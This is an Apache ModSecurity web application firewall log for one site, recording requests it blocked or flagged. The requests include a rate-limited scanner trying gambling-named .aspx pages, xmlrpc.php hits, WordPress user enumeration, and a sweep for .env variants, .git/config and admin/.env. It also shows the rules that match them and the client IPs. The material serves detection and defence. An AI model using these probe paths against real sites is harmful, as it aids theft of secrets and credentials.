[Fri Apr 03 11:38:59.167334 2026] [:error] [pid 40562:tid 40578] [client 147.135.213.38:37702] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "ac82UzfFMXuP9zvqCerXJAAAAY0"]
[Fri Apr 03 11:39:01.154539 2026] [:error] [pid 33445:tid 33461] [client 147.135.213.38:37704] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "ac82VVlRNZ0iDVmJWM3OLAAAAAs"]
[Fri Apr 03 11:39:02.989550 2026] [:error] [pid 33447:tid 33527] [client 147.135.213.38:37712] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "ac82VkgaPmDHz92j4lPRVgAAAJc"]
[Fri Apr 03 11:39:04.980299 2026] [:error] [pid 55174:tid 55183] [client 147.135.213.38:37724] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "ac82WJ_WKqUonPNUHYxoQwAAAcc"]
[Fri Apr 03 11:39:06.977932 2026] [:error] [pid 33447:tid 33515] [client 147.135.213.38:37740] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "ac82WkgaPmDHz92j4lPRXgAAAIs"]
[Fri Apr 03 11:39:08.962095 2026] [:error] [pid 33447:tid 33515] [client 147.135.213.38:51904] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "ac82XEgaPmDHz92j4lPRaAAAAIs"]
[Fri Apr 03 11:39:10.796783 2026] [:error] [pid 33542:tid 33560] [client 147.135.213.38:51908] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "ac82Xnwb6uB1LaGtepaVxAAAAM8"]
[Fri Apr 03 11:39:12.796893 2026] [:error] [pid 33542:tid 33564] [client 147.135.213.38:51912] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "ac82YHwb6uB1LaGtepaVywAAANM"]
[Fri Apr 03 11:39:14.790816 2026] [:error] [pid 40562:tid 40576] [client 147.135.213.38:51924] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "ac82YjfFMXuP9zvqCerXMAAAAYs"]
[Fri Apr 03 11:39:16.784771 2026] [:error] [pid 33445:tid 33463] [client 147.135.213.38:51934] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "ac82ZFlRNZ0iDVmJWM3OSQAAAA0"]
[Fri Apr 03 11:39:18.771785 2026] [:error] [pid 40533:tid 40537] [client 147.135.213.38:48018] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "ac82ZvbIAA8AViDmwstUzAAAAUI"]
[Fri Apr 03 11:39:20.601605 2026] [:error] [pid 33445:tid 33451] [client 147.135.213.38:48030] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "ac82aFlRNZ0iDVmJWM3OWQAAAAE"]
[Fri Apr 03 11:39:22.590594 2026] [:error] [pid 33445:tid 33459] [client 147.135.213.38:48034] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "ac82allRNZ0iDVmJWM3OXwAAAAk"]
[Fri Apr 03 11:39:24.592457 2026] [:error] [pid 40533:tid 40548] [client 147.135.213.38:48048] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "ac82bPbIAA8AViDmwstU2wAAAU0"]
[Fri Apr 03 11:39:26.627540 2026] [:error] [pid 33542:tid 33547] [client 147.135.213.38:48064] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "ac82bnwb6uB1LaGtepaV1AAAAMI"]
[Fri Apr 03 11:39:28.649987 2026] [:error] [pid 35469:tid 35472] [client 147.135.213.38:54022] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "ac82cKGvTIc8-wY3jURg_wAAAQE"]
[Fri Apr 03 11:39:30.528249 2026] [:error] [pid 33445:tid 33458] [client 147.135.213.38:54026] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "ac82cllRNZ0iDVmJWM3ObQAAAAg"]
[Fri Apr 03 11:39:32.544015 2026] [:error] [pid 55174:tid 55196] [client 147.135.213.38:54040] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "ac82dJ_WKqUonPNUHYxoTQAAAdQ"]
[Fri Apr 03 11:39:34.527467 2026] [:error] [pid 55174:tid 55185] [client 147.135.213.38:54046] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "ac82dp_WKqUonPNUHYxoVgAAAck"]
[Fri Apr 03 15:01:50.199010 2026] [:error] [pid 33542:tid 33564] [client 43.155.27.244:35950] [client 43.155.27.244] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ac9l3nwb6uB1LaGtepa0igAAANM"]
[Fri Apr 03 16:04:49.673646 2026] [:error] [pid 40562:tid 40567] [client 177.162.23.119:57286] [client 177.162.23.119] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.162.23.119, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ac90oTfFMXuP9zvqCeoe4QAAAYI"]
[Fri Apr 03 16:04:57.614551 2026] [:error] [pid 40533:tid 40558] [client 49.36.68.201:56188] [client 49.36.68.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.36.68.201, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ac90qfbIAA8AViDmwst35gAAAVc"]
[Fri Apr 03 16:06:13.414418 2026] [:error] [pid 33445:tid 33460] [client 49.37.45.214:52223] [client 49.37.45.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.45.214, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ac909VlRNZ0iDVmJWM1mkQAAAAo"]
[Fri Apr 03 16:09:37.002044 2026] [:error] [pid 35469:tid 35491] [client 49.37.45.214:64111] [client 49.37.45.214] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "ac91wKGvTIc8-wY3jUTXkwAAARQ"]
[Fri Apr 03 16:11:06.836961 2026] [:error] [pid 33445:tid 33473] [client 49.37.45.214:58439] [client 49.37.45.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.45.214, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ac92GllRNZ0iDVmJWM1pLgAAABc"]
[Fri Apr 03 16:11:20.543926 2026] [:error] [pid 55174:tid 55195] [client 43.153.107.22:59956] [client 43.153.107.22] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ac92KJ_WKqUonPNUHYyi1gAAAdM"]
[Fri Apr 03 16:12:36.611407 2026] [:error] [pid 35469:tid 35488] [client 49.37.45.214:59562] [client 49.37.45.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.45.214, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ac92dKGvTIc8-wY3jUTZDgAAARE"]
[Fri Apr 03 16:23:53.810754 2026] [:error] [pid 40562:tid 40585] [client 49.36.68.201:56280] [client 49.36.68.201] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "ac95GTfFMXuP9zvqCeokHQAAAZQ"]
[Fri Apr 03 16:25:27.308675 2026] [:error] [pid 33445:tid 33471] [client 49.36.68.201:62144] [client 49.36.68.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.36.68.201, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ac95d1lRNZ0iDVmJWM1wXwAAABU"]
[Fri Apr 03 16:26:48.992716 2026] [:error] [pid 35469:tid 35477] [client 49.36.68.201:62424] [client 49.36.68.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.36.68.201, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ac95yKGvTIc8-wY3jUTflwAAAQY"]
[Fri Apr 03 16:28:00.699584 2026] [:error] [pid 40533:tid 40539] [client 49.36.68.201:63221] [client 49.36.68.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.36.68.201, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ac96EPbIAA8AViDmwst7EgAAAUQ"]
[Fri Apr 03 16:29:12.336999 2026] [:error] [pid 33542:tid 33548] [client 49.36.68.201:51615] [client 49.36.68.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.36.68.201, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ac96WHwb6uB1LaGtepbCngAAAMM"]
[Fri Apr 03 19:39:26.211295 2026] [:error] [pid 40562:tid 40587] [client 144.172.94.2:35538] [client 144.172.94.2] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "ac-m7jfFMXuP9zvqCepgtwAAAZY"]
[Fri Apr 03 19:39:31.337748 2026] [:error] [pid 33446:tid 33483] [client 144.172.94.2:39702] [client 144.172.94.2] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.backup"] [unique_id "ac-m89g3dCqFYIIdw0oqfAAAAEY"]
[Fri Apr 03 19:39:35.623175 2026] [:error] [pid 33542:tid 33556] [client 144.172.94.2:39724] [client 144.172.94.2] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.bak"] [unique_id "ac-m93wb6uB1LaGtepblfAAAAMs"]
[Fri Apr 03 19:39:45.305011 2026] [:error] [pid 35469:tid 35479] [client 144.172.94.2:45528] [client 144.172.94.2] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.development"] [unique_id "ac-nAaGvTIc8-wY3jURDowAAAQg"]
[Fri Apr 03 19:40:00.705942 2026] [:error] [pid 40562:tid 40570] [client 144.172.94.2:59622] [client 144.172.94.2] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.dist"] [unique_id "ac-nEDfFMXuP9zvqCepg5AAAAYU"]
[Fri Apr 03 19:40:04.493134 2026] [:error] [pid 35469:tid 35484] [client 144.172.94.2:59628] [client 144.172.94.2] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.docker"] [unique_id "ac-nFKGvTIc8-wY3jURD0QAAAQ0"]
[Fri Apr 03 19:40:09.409893 2026] [:error] [pid 35469:tid 35474] [client 144.172.94.2:59632] [client 144.172.94.2] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.docker.dev"] [unique_id "ac-nGaGvTIc8-wY3jURD0gAAAQM"]
[Fri Apr 03 19:40:12.786207 2026] [:error] [pid 33447:tid 33523] [client 144.172.94.2:46576] [client 144.172.94.2] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.example"] [unique_id "ac-nHEgaPmDHz92j4lM0IwAAAJM"]
[Fri Apr 03 19:40:28.043858 2026] [:error] [pid 40562:tid 40575] [client 144.172.94.2:35528] [client 144.172.94.2] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.prod.local"] [unique_id "ac-nLDfFMXuP9zvqCepg9QAAAYo"]
[Fri Apr 03 19:40:33.518983 2026] [:error] [pid 55174:tid 55198] [client 144.172.94.2:47540] [client 144.172.94.2] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.production"] [unique_id "ac-nMZ_WKqUonPNUHYzXQQAAAdY"]
[Fri Apr 03 19:40:36.509405 2026] [:error] [pid 33446:tid 33479] [client 144.172.94.2:47544] [client 144.172.94.2] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.production.local"] [unique_id "ac-nNNg3dCqFYIIdw0oq9QAAAEI"]
[Fri Apr 03 19:40:41.760449 2026] [:error] [pid 40562:tid 40587] [client 144.172.94.2:33836] [client 144.172.94.2] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.sample"] [unique_id "ac-nOTfFMXuP9zvqCephAwAAAZY"]
[Fri Apr 03 19:40:52.333822 2026] [:error] [pid 35469:tid 35490] [client 144.172.94.2:36300] [client 144.172.94.2] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.stage"] [unique_id "ac-nRKGvTIc8-wY3jUREpwAAARM"]
[Fri Apr 03 19:40:56.926048 2026] [:error] [pid 40562:tid 40582] [client 144.172.94.2:36310] [client 144.172.94.2] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.staging"] [unique_id "ac-nSDfFMXuP9zvqCephJQAAAZE"]
[Fri Apr 03 19:41:04.817152 2026] [:error] [pid 33445:tid 33461] [client 144.172.94.2:36922] [client 144.172.94.2] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.test"] [unique_id "ac-nUFlRNZ0iDVmJWM3bVQAAAAs"]
[Fri Apr 03 19:41:08.632027 2026] [:error] [pid 33445:tid 33452] [client 144.172.94.2:54404] [client 144.172.94.2] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.travis"] [unique_id "ac-nVFlRNZ0iDVmJWM3bXgAAAAI"]
[Fri Apr 03 19:41:12.520762 2026] [:error] [pid 40533:tid 40536] [client 144.172.94.2:54414] [client 144.172.94.2] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.envrc"] [unique_id "ac-nWPbIAA8AViDmwsubAQAAAUE"]
[Fri Apr 03 19:41:51.276118 2026] [:error] [pid 35469:tid 35478] [client 144.172.94.2:42166] [client 144.172.94.2] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/env.bak"] [unique_id "ac-nf6GvTIc8-wY3jURFUgAAAQc"]
[Fri Apr 03 19:42:33.643814 2026] [:error] [pid 33446:tid 33489] [client 144.172.94.2:49778] [client 144.172.94.2] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "ac-nqdg3dCqFYIIdw0or2AAAAEw"]
[Fri Apr 03 19:42:37.420736 2026] [:error] [pid 33445:tid 33465] [client 144.172.94.2:49782] [client 144.172.94.2] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/admin/.env"] [unique_id "ac-nrVlRNZ0iDVmJWM3b8QAAAA8"]
[Fri Apr 03 19:42:42.824103 2026] [:error] [pid 33445:tid 33468] [client 144.172.94.2:38972] [client 144.172.94.2] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/admin/.env.local"] [unique_id "ac-nsllRNZ0iDVmJWM3cCwAAABI"]
[Fri Apr 03 19:42:46.380470 2026] [:error] [pid 33445:tid 33471] [client 144.172.94.2:38974] [client 144.172.94.2] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/admin/.env.production"] [unique_id "ac-ntllRNZ0iDVmJWM3cFAAAABU"]
[Fri Apr 03 19:42:51.207446 2026] [:error] [pid 55174:tid 55199] [client 144.172.94.2:40718] [client 144.172.94.2] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/admin/.env.staging"] [unique_id "ac-nu5_WKqUonPNUHYzX-wAAAdc"]
